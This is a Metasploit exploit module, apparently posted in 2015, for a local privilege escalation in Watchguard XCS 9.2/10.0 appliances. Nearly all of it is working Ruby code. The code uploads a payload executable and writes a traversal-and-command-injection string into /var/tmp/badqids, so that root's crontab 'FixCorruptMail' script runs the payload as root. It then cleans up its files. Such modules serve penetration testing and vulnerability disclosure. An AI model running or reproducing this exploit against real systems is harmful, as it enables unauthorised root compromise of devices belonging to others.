Watchguard XCS FixCorruptMail Local Privilege Escalation
Posted on 26 September 2015
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit4 < Msf::Exploit::Local # It needs 3 minutes wait time # WfsDelay set to 180, so it should be a Manual exploit, # to avoid it being included in automations Rank = ManualRanking include Msf::Exploit::EXE include Msf::Post::File include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Watchguard XCS FixCorruptMail Local Privilege Escalation', 'Description' => %q{ This module exploits a vulnerability in the Watchguard XCS 'FixCorruptMail' script called by root's crontab which can be exploited to run a command as root within 3 minutes. }, 'Author' => [ 'Daniel Jensen <daniel.jensen[at]security-assessment.com>' # discovery and Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['URL', 'http://security-assessment.com/files/documents/advisory/Watchguard-XCS-final.pdf'] ], 'Platform' => 'bsd', 'Arch' => ARCH_X86_64, 'SessionTypes' => ['shell'], 'Privileged' => true, 'Targets' => [ [ 'Watchguard XCS 9.2/10.0', { }] ], 'DefaultOptions' => { 'WfsDelay' => 180 }, 'DefaultTarget' => 0, 'DisclosureDate' => 'Jun 29 2015' )) end def setup @pl = generate_payload_exe if @pl.nil? fail_with(Failure::BadConfig, 'Please select a native bsd payload') end super end def check #Basic check to see if the device is a Watchguard XCS res = cmd_exec('uname -a') return Exploit::CheckCode::Detected if res && res.include?('support-xcs@watchguard.com') Exploit::CheckCode::Safe end def upload_payload fname = "/tmp/#{Rex::Text.rand_text_alpha(5)}" write_file(fname, @pl) return nil unless file_exist?(fname) cmd_exec("chmod +x #{fname}") fname end def exploit print_warning('Rooting can take up to 3 minutes.') #Generate and upload the payload filename = upload_payload fail_with(Failure::NotFound, 'Payload failed to upload') if filename.nil? print_status("Payload #{filename} uploaded.") #Sets up empty dummy file needed for privesc dummy_filename = "/tmp/#{Rex::Text.rand_text_alpha(5)}" cmd_exec("touch #{dummy_filename}") vprint_status('Added dummy file') #Put the shell injection line into badqids #setup_privesc = "echo "../../../../../..#{dummy_filename};#{filename}" > /var/tmp/badqids" badqids = write_file('/var/tmp/badqids', "../../../../../..#{dummy_filename};#{filename}") fail_with(Failure::NotFound, 'Failed to create badqids file to exploit crontab') if badqids.nil? print_status('Badqids created, waiting for vulnerable script to be called by crontab...') #cmd_exec(setup_privesc) #Cleanup the files we used register_file_for_cleanup('/var/tmp/badqids') register_file_for_cleanup(dummy_filename) register_file_for_cleanup(filename) end end
